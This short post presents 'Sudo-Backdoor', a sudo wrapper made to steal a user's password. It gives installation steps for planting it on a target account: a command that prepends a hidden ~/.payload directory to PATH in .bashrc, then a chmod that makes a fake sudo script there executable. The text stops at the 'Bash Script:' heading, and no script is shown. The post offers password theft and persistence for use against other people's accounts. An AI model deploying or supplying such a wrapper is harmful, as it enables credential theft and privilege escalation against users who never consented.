Sudo-Backdoor : Wrapper to sudo for stealing user Password.

Wrapper to sudo; prompts regularily but steals user’s password. For those annoying times when you get a “non-privileged” sudo-enabled shell.
Installation:
1. Append the following line to the target user’s .bashrc file by running the following command:
$ echo “export PATH=~/.payload:$PATH” >> ~/.bashrc
2. Then, create ~/.payload/sudo and paste the following code in the file. Don’t forget to make the bash script executable by issuing the following Command:
$ chmod a+x ~/.payload/sudo
3. Obviously you might have to adapt this installation recipe to fit the user’s shell. If they are using zsh, then install to ~/.zshrc, etc.

Bash Script:
